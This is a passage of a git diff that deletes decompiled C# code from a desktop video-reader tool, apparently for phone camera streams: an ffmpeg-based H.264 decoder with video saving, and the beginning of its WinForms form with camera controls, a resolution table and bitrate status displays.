- return frames.Last().Key; - } - } - return 0L; - } - set - { - } - } - - public long count - { - get - { - if (frames.Count > 0) - { - return frames.Count; - } - return 0L; - } - set - { - } - } - - public void Init() - { - frameForFPS = 0; - fpsAver = new Queue(); - frames = new ConcurrentDictionary(); - endkey = -1L; - timeForFPS = DateTime.MinValue; - FPS = 0.0; - dec = false; - } - - private void SaveVideo() - { - while (startSaveVideo) - { - int num = fps * 60; - if (save.Count > num || (DateTime.Now - endAddSaveVideo).TotalSeconds > 10.0) - { - Queue queue = new Queue(); - if (save.ContainsKey(-1L)) - { - List list = new List(); - queue.Enqueue(save[-1L]); - int num2 = save.Count; - long[] array = save.Keys.OrderBy((long zn) => zn).ToArray(); - long[] array2 = array; - foreach (long num4 in array2) - { - if (num2-- <= 0) - { - break; - } - if (num4 != -1) - { - if (save.TryGetValue(num4, out var value)) - { - queue.Enqueue(value); - } - list.Add(num4); - } - } - Save(queue); - foreach (long item in list) - { - save.TryRemove(item, out var _); - } - } - } - Thread.Sleep(1000); - } - } - - private unsafe void Save(Queue sav) - { - if (Program.FrameRate != fps) - { - fps = Program.FrameRate; - } - if (!Settings.Default.SaveVideo || sav.Count <= 1) - { - return; - } - save_video_flag = true; - Form1.forListing.Enqueue("Начало записи."); - try - { - AVCodecContext* ptr = ffmpeg.avcodec_alloc_context3(codec); - ptr->width = 1280; - ptr->height = 720; - bool flag = false; - string text = $"{Directory.GetCurrentDirectory()}\\video\\"; - if (!Directory.Exists(text)) - { - Directory.CreateDirectory(text); - } - string text2 = $"{DateTime.Now.Ticks}.mp4"; - byte[] first = sav.Dequeue(); - Form1.forListing.Enqueue(text2); - text2 = $"{text}{text2}"; - AVOutputFormat* oformat = ffmpeg.av_guess_format(null, text2, null); - AVFormatContext* ptr2 = ffmpeg.avformat_alloc_context(); - ptr2->oformat = oformat; - AVStream* ptr3 = ffmpeg.avformat_new_stream(ptr2, codec); - ptr3->codec = ptr; - ptr3->time_base.den = fps; - ptr3->time_base.num = 1; - ptr3->codec->time_base.den = fps; - ptr3->codec->time_base.num = 1; - if (ffmpeg.avio_open(&ptr2->pb, text2, 3) < 0) - { - Console.WriteLine("Cannot open file"); - } - ffmpeg.avformat_write_header(ptr2, null); - AVPacket aVPacket = default(AVPacket); - ffmpeg.av_init_packet(&aVPacket); - long num = 1L; - while (sav.Count > 0) - { - byte[] array = sav.Dequeue(); - if (!flag && array[0] == 1) - { - flag = true; - } - if (!flag) - { - continue; - } - byte[] array2 = first.Concat(array.Skip(1)).ToArray(); - fixed (byte* data = &array2[0]) - { - aVPacket.data = (sbyte*)data; - aVPacket.size = array2.Length; - aVPacket.pts = ffmpeg.av_rescale_q(num++, ptr3->codec->time_base, ptr3->time_base); - ffmpeg.av_interleaved_write_frame(ptr2, &aVPacket); - } - } - ffmpeg.av_free_packet(&aVPacket); - ffmpeg.av_write_trailer(ptr2); - for (int i = 0; i < ptr2->nb_streams; i++) - { - ffmpeg.av_freep(&ptr2->streams[i]->codec); - ffmpeg.av_freep(ptr2->streams + i); - } - ffmpeg.avio_close(ptr2->pb); - ffmpeg.av_free(ptr2); - ffmpeg.avcodec_close(ptr); - Form1.forListing.Enqueue("Завершение записи."); - } - catch (AccessViolationException) - { - } - catch (Exception value) - { - Console.WriteLine(value); - } - save_video_flag = false; - } - - public unsafe Decoder() - { - Init(); - ffmpeg.av_register_all(); - ffmpeg.avcodec_register_all(); - codec = ffmpeg.avcodec_find_decoder(AVCodecID.AV_CODEC_ID_H264); - if (codec == null) - { - throw new ApplicationException("Unsupported codec"); - } - } - - public void Close() - { - savevideo(); - Thread.Sleep(300); - try - { - startSaveVideo = false; - Queue queue = new Queue(); - if (!save.ContainsKey(-1L)) - { - return; - } - queue.Enqueue(save[-1L]); - foreach (KeyValuePair item in save.OrderBy((KeyValuePair zn) => zn.Key)) - { - if (item.Key != -1) - { - queue.Enqueue(item.Value); - save.TryRemove(item.Key, out var _); - } - } - Save(queue); - } - catch (Exception value2) - { - Console.WriteLine(value2); - } - } - - ~Decoder() - { - Close(); - } - - private void savevideo() - { - if (save_buff.Count == 0) - { - return; - } - lock (block) - { - try - { - string arg = $"{Directory.GetCurrentDirectory()}\\video\\"; - FileStream fileStream = new FileStream($"{arg}{DateTime.Now:yyyyMMddHHmmss}.vs", FileMode.CreateNew); - fileStream.WriteByte(0); - BinaryWriter binaryWriter = new BinaryWriter(fileStream); - byte[] result; - while (save_buff.TryDequeue(out result)) - { - binaryWriter.Write(result.Count()); - binaryWriter.Write(result); - } - binaryWriter.Flush(); - binaryWriter.Close(); - fileStream.Close(); - } - catch (Exception) - { - } - } - } - - private void addFrame(long num, long endkey, byte[] conf, byte[] mas) - { - Fram value = new Fram(num, endkey, conf.Concat(mas).ToArray()); - frames.TryAdd(num, value); - if (save_video) - { - if (save_buff.Count == 0) - { - save_buff.Enqueue(conf); - } - byte[] first = ((value.key != value.num) ? new byte[1] : new byte[1] { 1 }); - save_buff.Enqueue(first.Union(value.data).ToArray()); - } - if (save_buff.Count > 14400) - { - new Thread((ThreadStart)delegate - { - savevideo(); - }).Start(); - } - if (!save.ContainsKey(-1L)) - { - save.TryAdd(-1L, conf); - } - endAddSaveVideo = DateTime.Now; - outstr.Enqueue($"{num};{endkey};{mas.Length};{DateTime.Now:HH:mm:ss.fffffff}"); - num++; - frameForFPS++; - if (timeForFPS == DateTime.MinValue) - { - timeForFPS = DateTime.Now; - } - if ((DateTime.Now - timeForFPS).TotalSeconds > 1.0) - { - double item = (double)frameForFPS / (DateTime.Now - timeForFPS).TotalSeconds; - fpsAver.Enqueue(item); - FPS = fpsAver.Average(); - if (fpsAver.Count > 60) - { - fpsAver.Dequeue(); - } - frameForFPS = 0; - timeForFPS = DateTime.Now; - } - } - - public void AddFrameArray(byte[] buf) - { - endFrame = DateTime.Now; - DateTime now = DateTime.Now; - try - { - long num = BitConverter.ToInt32(buf, 0); - long num2 = num; - configN = buf.Skip(8).Take(BitConverter.ToInt32(buf, 4)).ToArray(); - buf = buf.Skip(configN.Length + 8).ToArray(); - int num3 = 0; - while (num3 < buf.Length) - { - byte[] array = buf.Skip(num3 + 4).Take(BitConverter.ToInt32(buf, num3)).ToArray(); - num3 += array.Length + 4; - addFrame(num2, num, configN, array); - num2++; - } - TrimBuffer(); - } - catch (Exception value) - { - Console.WriteLine(value); - } - Form1.t_Frame.Enqueue((DateTime.Now - now).TotalMilliseconds); - } - - public void AddNNFrame(byte[] buf) - { - endFrame = DateTime.Now; - DateTime now = DateTime.Now; - long ticks = DateTime.Now.Ticks; - if (buf[0] == 2) - { - outstr.Enqueue("!"); - configN = buf.Skip(1).ToArray(); - } - else if (configN != null) - { - long num = BitConverter.ToInt32(buf.Skip(1).Take(4).Reverse() - .ToArray(), 0); - byte[] array = new byte[0]; - if (buf[0] == 1) - { - endkey = num; - array = buf.Skip(5).ToArray(); - } - else - { - endkey = BitConverter.ToInt32(buf.Skip(5).Take(4).Reverse() - .ToArray(), 0); - array = buf.Skip(9).ToArray(); - } - outstr.Enqueue($"{num};{endkey};{DateTime.Now:HH:mm:ss.fffffff}"); - try - { - addFrame(num, endkey, configN, array); - TrimBuffer(); - } - catch (Exception ex) - { - Console.WriteLine(num); - Console.WriteLine(ex.Message); - Console.WriteLine(ex.StackTrace); - } - Form1.t_Frame.Enqueue((DateTime.Now - now).TotalMilliseconds); - } - } - - private void TrimBuffer() - { - while (frames.Count > 9000) - { - frames.TryRemove(frames.Keys.Min(), out var _); - } - } - - public unsafe Bitmap GetImg(long numb) - { - //IL_02c9: Unknown result type (might be due to invalid IL or missing references) - //IL_02cf: Expected O, but got Unknown - if (save_video_flag) - { - return null; - } - Bitmap result = null; - bool flag = true; - DateTime now = DateTime.Now; - try - { - AVCodecContext* ptr = ffmpeg.avcodec_alloc_context3(codec); - if ((codec->capabilities & 8) == 8) - { - ptr->flags |= 65536; - } - int num = ffmpeg.avcodec_open2(ptr, codec, null); - if (num < 0) - { - Console.WriteLine("Ошибка инициализации кодека: " + num); - } - try - { - if (frames.ContainsKey(numb)) - { - Fram fram = frames[numb]; - if (frames.ContainsKey(fram.key)) - { - GetImgEndFrame = frames[numb].key; - int num2 = 0; - AVFrame* ptr2 = ffmpeg.av_frame_alloc(); - int num3 = 0; - Fram value; - for (long num4 = GetImgEndFrame; num4 <= numb && frames.TryGetValue(num4, out value); num4++) - { - fixed (byte* data = value.data) - { - AVPacket aVPacket = default(AVPacket); - AVPacket* ptr3 = &aVPacket; - ffmpeg.av_init_packet(&aVPacket); - aVPacket.data = (sbyte*)data; - aVPacket.size = value.data.Length; - int num5 = ffmpeg.avcodec_decode_video2(ptr, ptr2, &num2, &aVPacket); - ffmpeg.av_free_packet(&aVPacket); - num3++; - GetImgEndFrame = num4; - } - } - if (num2 == 1) - { - dec = true; - SwsContext* ptr4 = ffmpeg.sws_getCachedContext(null, ptr->coded_width, ptr->coded_height, ptr->pix_fmt, ptr->coded_width, ptr->coded_height, AVPixelFormat.AV_PIX_FMT_BGR24, 1, null, null, null); - if (pConvertedFrameBuffer != null) - { - ffmpeg.av_free(pConvertedFrameBuffer); - } - AVFrame* ptr5 = ffmpeg.av_frame_alloc(); - pConvertedFrameBuffer = (sbyte*)ffmpeg.av_malloc((ulong)ffmpeg.avpicture_get_size(AVPixelFormat.AV_PIX_FMT_BGR24, ptr->coded_width, ptr->coded_height)); - ffmpeg.avpicture_fill((AVPicture*)ptr5, pConvertedFrameBuffer, AVPixelFormat.AV_PIX_FMT_BGR24, ptr->coded_width, ptr->coded_height); - ffmpeg.sws_scale(ptr4, &ptr2->data0, ptr2->linesize, 0, ptr->height, &ptr5->data0, ptr5->linesize); - IntPtr intPtr = new IntPtr(ptr5->data0); - result = new Bitmap(ptr->coded_width, ptr->coded_height, *ptr5->linesize, (PixelFormat)137224, intPtr); - ffmpeg.av_free(ptr5); - ffmpeg.sws_freeContext(ptr4); - } - } - } - } - catch (Exception ex) - { - Console.WriteLine(ex.Message); - Console.WriteLine(ex.StackTrace); - } - ffmpeg.avcodec_close(ptr); - } - catch (Exception ex2) - { - Console.WriteLine(ex2.Message); - Console.WriteLine(ex2.StackTrace); - } - return result; - } -} diff --git a/output/VideoReader/Form1.cs b/output/VideoReader/Form1.cs deleted file mode 100644 index 5e47066..0000000 --- a/output/VideoReader/Form1.cs +++ /dev/null @@ -1,3940 +0,0 @@ -using System; -using System.Collections.Concurrent; -using System.Collections.Generic; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.IO.Compression; -using System.Linq; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Threading; -using System.Windows.Forms; -using AForge.Imaging.Filters; -using VideoReader.Properties; - -namespace VideoReader; - -public class Form1 : Form -{ - private class Win32 - { - [DllImport("kernel32.dll")] - public static extern bool AllocConsole(); - - [DllImport("kernel32.dll")] - public static extern bool FreeConsole(); - } - - private int[] models = new int[15] - { - -11427260, 1012570, 271059456, 34209792, 4463, 1189898, 2755072, 274459, 70, 285212673, - 1274624, 657920, 1930887686, 167772180, 50790411 - }; - - private int batt = 0; - - private string guid = Guid.NewGuid().ToString(); - - public static ConcurrentQueue t_Frame = new ConcurrentQueue(); - - public static ConcurrentQueue forListing = new ConcurrentQueue(); - - private bool stepping = true; - - private int playstepping = 0; - - private long numberCurr = 0L; - - private long numberOld = 0L; - - private long startFrame = 0L; - - private InOutSocket socket; - - private static ConcurrentDictionary video = new ConcurrentDictionary(); - - private DateTime start = DateTime.Now; - - private DateTime timeFrame = DateTime.Now; - - private string SerialNumberPhone = ""; - - private string PhoneSerialNumber = ""; - - private Decoder decode = null; - - private static string hard = ""; - - private static string brand = ""; - - private static string model = ""; - - private DateTime start_status = DateTime.Now; - - private DateTime clear_status = DateTime.Now; - - private char suf_i = '-'; - - private int time_i = 0; - - private object syncOS = new object(); - - private bool setAutomate = false; - - private ConcurrentQueue bufarh = new ConcurrentQueue(); - - private List listCamResol = new List(); - - private static readonly string[] extResol = new string[192] - { - "kirin980:4:176:144", "kirin980:4:208:144", "kirin980:4:352:288", "kirin980:4:736:412", "kirin980:4:720:720", "kirin980:4:1440:720", "kirin980:4:1456:1456", "kirin980:4:1440:1080", "kirin980:4:1456:1456", "kirin980:4:1440:1080", - "kirin980:4:3840:2160", "kirin980:4:2448:2448", "kirin980:4:2448:2448", "kirin980:4:3840:2160", "kirin980:4:3264:2448", "kirin980:3:176:144", "kirin980:3:208:144", "kirin980:3:352:288", "kirin980:3:400:400", "kirin980:3:480:360", - "kirin980:3:544:408", "kirin980:3:736:412", "kirin980:3:720:540", "kirin980:3:720:720", "kirin980:3:1248:1080", "kirin980:3:1440:720", "kirin980:3:1680:720", "kirin980:3:1456:1456", "kirin980:3:1440:1080", "kirin980:3:2336:1080", - "kirin980:3:2592:1952", "kirin980:3:2592:1952", "kirin980:3:2448:2448", "kirin980:3:3264:2448", "kirin980:3:3280:2448", "kirin980:3:2736:2736", "kirin980:3:3648:2736", "kirin980:3:3840:3840", "kirin980:3:5120:2368", "kirin980:3:5120:2448", - "kirin980:3:5120:3840", "kirin980:2:176:144", "kirin980:2:208:144", "kirin980:2:352:288", "kirin980:2:400:400", "kirin980:2:480:360", "kirin980:2:544:408", "kirin980:2:736:412", "kirin980:2:720:540", "kirin980:2:720:720", - "kirin980:2:1440:720", "kirin980:2:1456:1456", "kirin980:2:1440:1080", "kirin980:2:1552:720", "kirin980:2:1456:1456", "kirin980:2:1440:1080", "kirin980:2:2592:1952", "kirin980:2:2448:2448", "kirin980:2:2736:2736", "kirin980:2:3264:2448", - "kirin980:2:3280:2448", "kirin980:2:3648:2736", "kirin980:2:3840:2160", "kirin980:1:176:144", "kirin980:1:208:144", "kirin980:1:352:288", "kirin980:1:720:720", "kirin980:1:1440:720", "kirin980:1:1440:1080", "kirin980:1:1552:720", - "kirin980:1:2336:1080", "kirin980:1:2160:1080", "kirin980:1:3264:2448", "kirin980:0:3648:2736", "kirin980:0:176:144", "kirin980:0:208:144", "kirin980:0:352:288", "kirin980:0:400:400", "kirin980:0:480:360", "kirin980:0:544:408", - "kirin980:0:736:412", "kirin980:0:720:540", "kirin980:0:720:720", "kirin980:0:1440:720", "kirin980:0:1680:720", "kirin980:0:1456:1456", "kirin980:0:1440:1080", "kirin980:0:1552:720", "kirin980:0:2592:1952", "kirin980:0:2592:1952", - "kirin980:0:2448:2448", "kirin980:0:2736:2736", "kirin980:0:3008:2256", "kirin980:0:3840:2160", "kirin980:0:3120:2340", "kirin980:0:3264:2448", "kirin980:0:2336:1080", "kirin980:0:3280:2448", "kirin990:0:176:144", "kirin990:0:208:144", - "kirin990:0:352:288", "kirin990:0:400:400", "kirin990:0:480:360", "kirin990:0:544:408", "kirin990:0:736:412", "kirin990:0:720:540", "kirin990:0:720:720", "kirin990:0:1440:720", "kirin990:0:1584:720", "kirin990:0:1712:720", - "kirin990:0:1440:1080", "kirin990:0:1456:1456", "kirin990:0:2592:1952", "kirin990:0:2448:2448", "kirin990:0:2160:1080", "kirin990:0:3120:2340", "kirin990:0:2736:2736", "kirin990:0:2288:1080", "kirin990:0:3280:2448", "kirin990:0:1520:720", - "kirin990:1:176:144", "kirin990:1:208:144", "kirin990:1:352:288", "kirin990:1:720:720", "kirin990:1:1440:720", "kirin990:1:1440:1080", "kirin990:1:1584:720", "kirin990:1:2160:1080", "kirin990:1:2448:2448", "kirin990:1:2288:1080", - "kirin990:1:1552:720", "kirin990:2:176:144", "kirin990:2:208:144", "kirin990:2:352:288", "kirin990:2:400:400", "kirin990:2:480:360", "kirin990:2:544:408", "kirin990:2:736:412", "kirin990:2:720:540", "kirin990:2:720:720", - "kirin990:2:1440:720", "kirin990:2:1584:720", "kirin990:2:1712:720", "kirin990:2:1440:1080", "kirin990:2:1456:1456", "kirin990:2:2592:1952", "kirin990:2:2448:2448", "kirin990:2:2160:1080", "kirin990:2:3120:2340", "kirin990:2:2736:2736", - "kirin990:2:3280:2448", "kirin990:3:176:144", "kirin990:3:208:144", "kirin990:3:352:288", "kirin990:3:720:720", "kirin990:3:1440:720", "kirin990:3:1440:1080", "kirin990:3:1584:720", "kirin990:3:2160:1080", "kirin990:3:2288:1080", - "kirin990:3:1552:720", "kirin990:4:176:144", "kirin990:4:208:144", "kirin990:4:352:288", "kirin990:4:400:400", "kirin990:4:480:360", "kirin990:4:544:408", "kirin990:4:736:412", "kirin990:4:720:540", "kirin990:4:720:720", - "kirin990:4:1248:1080", "kirin990:4:1200:1080", "kirin990:4:1440:720", "kirin990:4:1456:1456", "kirin990:4:1440:1080", "kirin990:4:2592:1952", "kirin990:4:2160:1080", "kirin990:4:2592:2592", "kirin990:6:176:144", "kirin990:6:208:144", - "kirin990:6:352:288", "kirin990:6:736:412", "kirin990:6:720:540", "kirin990:6:720:720", "kirin990:6:1440:720", "kirin990:6:1680:720", "kirin990:6:1456:1456", "kirin990:6:1440:1080", "kirin990:6:2336:1080", "kirin990:6:2448:2448", - "kirin990:6:4000:1816", "kirin990:6:4000:2250" - }; - - private DateTime update = DateTime.Now; - - private Point MousePosition = new Point(0, 0); - - private DateTime oldkeytime = DateTime.Now; - - private List list1 = new List(); - - private List list2 = new List(); - - private List list3 = new List(); - - private List list4 = new List(); - - private List list5 = new List(); - - private List list6 = new List(); - - private List list7 = new List(); - - private List list8 = new List(); - - private List list9 = new List(); - - private List endls; - - private string xmlFileName = ""; - - private bool test = false; - - private ConcurrentQueue inp_byte = new ConcurrentQueue(); - - private ConcurrentQueue out_byte = new ConcurrentQueue(); - - private DateTime start_test; - - private DateTime thisDate; - - private DateTime buildDate; - - private ConcurrentQueue logkeys = new ConcurrentQueue(); - - private IContainer components = null; - - private ContextMenuStrip contextMenuStrip1; - - private Timer timer1; - - private ListBox listBox1; - - private UCPictureBox FrontVideo; - - private TabControl tabControl1; - - private TabPage tabPage1; - - private TabPage tabPage2; - - private WebBrowser webBrowser1; - - private Panel panel4; - - private Label label5; - - private Panel panel5; - - private Panel panel6; - - private TabPage tabPage3; - - private PictureBox pictureBox5; - - private Button button1; - - private LinkLabel linkLabel1; - - private Button button2; - - private Label label7; - - private SplitContainer splitContainer1; - - private FlowLayoutPanel panel7; - - private TableLayoutPanel tableLayoutPanel1; - - private PictureBox pContrast; - - private PictureBox pBright; - - public ComboBox BitRateBox; - - private HScrollBar Exposure; - - private HScrollBar Zoom; - - private HScrollBar Focuse; - - private HScrollBar Contrast; - - private HScrollBar Brightness; - - private Panel panel3; - - private ComboBox comboBox1; - - private Panel panel_chenal; - - private MaskedTextBox chenal; - - private Label label1; - - private CheckBox checkBox_saveVideo; - - private TableLayoutPanel tableLayoutPanel2; - - private Button button4; - - private Button button5; - - private Button button3; - - private Button button6; - - private Label lSTime; - - private Label label2; - - private Label lDuration; - - private Label label4; - - private Label lFocus; - - private Label lISO; - - private Label label3; - - private Label label6; - - private Label lAperture; - - private Label label10; - - private TableLayoutPanel tableLayoutPanel3; - - private HScrollBar ISO; - - private Label labelISO; - - private Button button7; - - private HScrollBar FPS; - - private Label labelExp; - - private Label labelFPS; - - private ListBox listBox3; - - private ComboBox comboBox2; - - private Button button8; - - private Label IBitRateV; - - private Label label8; - - private Label label11; - - private Label label9; - - private Label IBitRateI; - - private Label IBitRateO; - - private Label IByteRateO; - - private Label label14; - - private Label IByteRateI; - - private Label label13; - - private Label IByteRateV; - - private Label label12; - - private PictureBox huawei; - - private Label label15; - - private Button button9; - - private PictureBox samsung; - - private Panel panel1; - - private Panel panel8; - - private Panel panel9; - - private Label label18; - - private Label label17; - - private Label label16; - - private Panel panel2; - - private Panel panel10; - - private Label waitServer; - - private Label waitPhone; - - private Label serialNumber; - - private Label label19; - - private Label IFPSV; - - private Label label20; - - private PictureBox asus; - - private Timer SaveXML; - - private TableLayoutPanel tableLayoutPanel4; - - private Label label21; - - private Label label22; - - private Label label23; - - private Label label24; - - private Label label25; - - private Label label26; - - private Label label27; - - private Label label28; - - private Label label29; - - private Label l1; - - private Label l2; - - private Label l3; - - private Label l4; - - private Label l5; - - private Label l6; - - private Label l7; - - private Label l8; - - private Label l9; - - private Label IPPS; - - private void ShowVideo(Bitmap img) - { - Image image = FrontVideo.Image; - if (img == null) - { - img = decode.GetImg(numberCurr); - if (img == null) - { - return; - } - } - if (((ScrollBar)Brightness).Value != 0) - { - BrightnessCorrection brightnessCorrection = new BrightnessCorrection(((ScrollBar)Brightness).Value); - brightnessCorrection.ApplyInPlace(img); - } - if (((ScrollBar)Contrast).Value != 0) - { - ContrastCorrection contrastCorrection = new ContrastCorrection(((ScrollBar)Contrast).Value); - contrastCorrection.ApplyInPlace(img); - } - LevelsLinear levelsLinear = new LevelsLinear(); - levelsLinear.ApplyInPlace(img); - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)this).Text = $"讀者 {((Image)img).Width}x{((Image)img).Height}"; - }); - ((Control)FrontVideo).Invoke((Delegate)(Action)delegate - { - FrontVideo.Image = (Image)(object)img; - }); - ((Control)FrontVideo).Invoke((Delegate)(Action)delegate - { - ((Control)FrontVideo).Refresh(); - }); - if (image != null) - { - image.Dispose(); - } - } - - private void Show2Video(Bitmap img) - { - if (decode == null) - { - return; - } - if (numberCurr < decode.min) - { - numberCurr = decode.min; - } - if (numberCurr > decode.max) - { - numberCurr = decode.max; - } - if (numberOld != numberCurr) - { - numberOld = numberCurr; - ShowVideo(img); - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)label19).Text = decode.count.ToString(); - }); - } - } - - private void setBMH(string br, string mo, string ha) - { - brand = br; - model = mo; - hard = ha; - string text = ""; - if (File.Exists("model")) - { - text = File.ReadAllText("model"); - } - string[] array = text.Split(new char[1] { ';' }); - foreach (string text2 in array) - { - if (text2.Trim().Length > 0) - { - string text3 = text2.Split(new char[1] { ':' })[1]; - if (text3 == br) - { - br = ""; - } - if (text3 == mo) - { - mo = ""; - } - if (text3 == ha) - { - ha = ""; - } - } - } - List list = new List(); - if (br.Trim().Length > 0) - { - list.Add($"brand:{br};"); - } - if (mo.Trim().Length > 0) - { - list.Add($"model:{mo};"); - } - if (ha.Trim().Length > 0) - { - list.Add($"hard:{ha};"); - } - if (list.Count > 0) - { - File.AppendAllLines("model", list); - } - } - - private void timer1_Tick(object sender, EventArgs e) - { - DateTime now = DateTime.Now; - if (list1.Count == 0 && ((Control)label21).BackColor != Color.Transparent) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)label21).BackColor = Color.Transparent; - }); - } - if (list1.Count > 0 && ((Control)label21).BackColor == Color.Transparent) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)label21).BackColor = Color.LightGreen; - }); - } - if (list2.Count == 0 && ((Control)label22).BackColor != Color.Transparent) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)label22).BackColor = Color.Transparent; - }); - } - if (list2.Count > 0 && ((Control)label22).BackColor == Color.Transparent) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)label22).BackColor = Color.LightGreen; - }); - } - if (list3.Count == 0 && ((Control)label23).BackColor != Color.Transparent) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)label23).BackColor = Color.Transparent; - }); - } - if (list3.Count > 0 && ((Control)label23).BackColor == Color.Transparent) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)label23).BackColor = Color.LightGreen; - }); - } - if (list4.Count == 0 && ((Control)label24).BackColor != Color.Transparent) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)label24).BackColor = Color.Transparent; - }); - } - if (list4.Count > 0 && ((Control)label24).BackColor == Color.Transparent) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)label24).BackColor = Color.LightGreen; - }); - } - if (list5.Count == 0 && ((Control)label25).BackColor != Color.Transparent) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)label25).BackColor = Color.Transparent; - }); - } - if (list5.Count > 0 && ((Control)label25).BackColor == Color.Transparent) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)label25).BackColor = Color.LightGreen; - }); - } - if (list6.Count == 0 && ((Control)label26).BackColor != Color.Transparent) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)label26).BackColor = Color.Transparent; - }); - } - if (list6.Count > 0 && ((Control)label26).BackColor == Color.Transparent) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)label26).BackColor = Color.LightGreen; - }); - } - if (list7.Count == 0 && ((Control)label27).BackColor != Color.Transparent) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)label27).BackColor = Color.Transparent; - }); - } - if (list7.Count > 0 && ((Control)label27).BackColor == Color.Transparent) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)label27).BackColor = Color.LightGreen; - }); - } - if (list8.Count == 0 && ((Control)label28).BackColor != Color.Transparent) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)label28).BackColor = Color.Transparent; - }); - } - if (list8.Count > 0 && ((Control)label28).BackColor == Color.Transparent) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)label28).BackColor = Color.LightGreen; - }); - } - if (list9.Count == 0 && ((Control)label29).BackColor != Color.Transparent) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)label29).BackColor = Color.Transparent; - }); - } - if (list9.Count > 0 && ((Control)label29).BackColor == Color.Transparent) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)label29).BackColor = Color.LightGreen; - }); - } - if (int.Parse(((Control)l1).Text) != list1.Count) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)l1).Text = list1.Count.ToString(); - }); - } - if (int.Parse(((Control)l2).Text) != list2.Count) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)l2).Text = list2.Count.ToString(); - }); - } - if (int.Parse(((Control)l3).Text) != list3.Count) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)l3).Text = list3.Count.ToString(); - }); - } - if (int.Parse(((Control)l4).Text) != list4.Count) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)l4).Text = list4.Count.ToString(); - }); - } - if (int.Parse(((Control)l5).Text) != list5.Count) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)l5).Text = list5.Count.ToString(); - }); - } - if (int.Parse(((Control)l6).Text) != list6.Count) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)l6).Text = list6.Count.ToString(); - }); - } - if (int.Parse(((Control)l7).Text) != list7.Count) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)l7).Text = list7.Count.ToString(); - }); - } - if (int.Parse(((Control)l8).Text) != list8.Count) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)l8).Text = list8.Count.ToString(); - }); - } - if (int.Parse(((Control)l9).Text) != list9.Count) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)l9).Text = list9.Count.ToString(); - }); - } - if ((now - clear_status).TotalSeconds > 10.0) - { - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)IFPSV).Text = ""; - }); - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)IBitRateV).Text = ""; - }); - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)IByteRateV).Text = ""; - }); - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)IBitRateI).Text = ""; - }); - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)IByteRateI).Text = ""; - }); - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)IBitRateO).Text = ""; - }); - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)IPPS).Text = ""; - }); - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)IByteRateO).Text = ""; - }); - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)serialNumber).Text = ""; - }); - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)waitPhone).Text = ""; - }); - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)waitPhone).BackColor = SystemColors.Control; - }); - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)waitServer).Text = ""; - }); - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)waitServer).BackColor = SystemColors.Control; - }); - clear_status = now; - } - if (time_i++ > 5) - { - if (suf_i == '-') - { - suf_i = '\\'; - } - else if (suf_i == '\\') - { - suf_i = '|'; - } - else if (suf_i == '|') - { - suf_i = '/'; - } - else if (suf_i == '/') - { - suf_i = '-'; - } - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)IBitRateI).Text = string.Format("{1} {0,15:### ### ### ###}", socket.bitratein * 8, suf_i); - }); - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)IByteRateI).Text = string.Format("{1} {0,15:### ### ### ###}", socket.bitratein, suf_i); - }); - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)IBitRateO).Text = string.Format("{1} {0,15:### ### ### ###}", socket.bitrateout * 8, suf_i); - }); - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)IByteRateO).Text = string.Format("{1} {0,15:### ### ### ###}", socket.bitrateout, suf_i); - }); - time_i = 0; - } - string result = ""; - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)label17).Text = decode.min.ToString(); - }); - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)label16).Text = numberCurr.ToString(); - }); - ((Control)this).Invoke((Delegate)(Action)delegate - { - ((Control)label18).Text = decode.max.ToString(); - }); - while (forListing.TryDequeue(out result)) - { - result = $"{now} {result}"; - listBox1.Items.Add((object)result); - 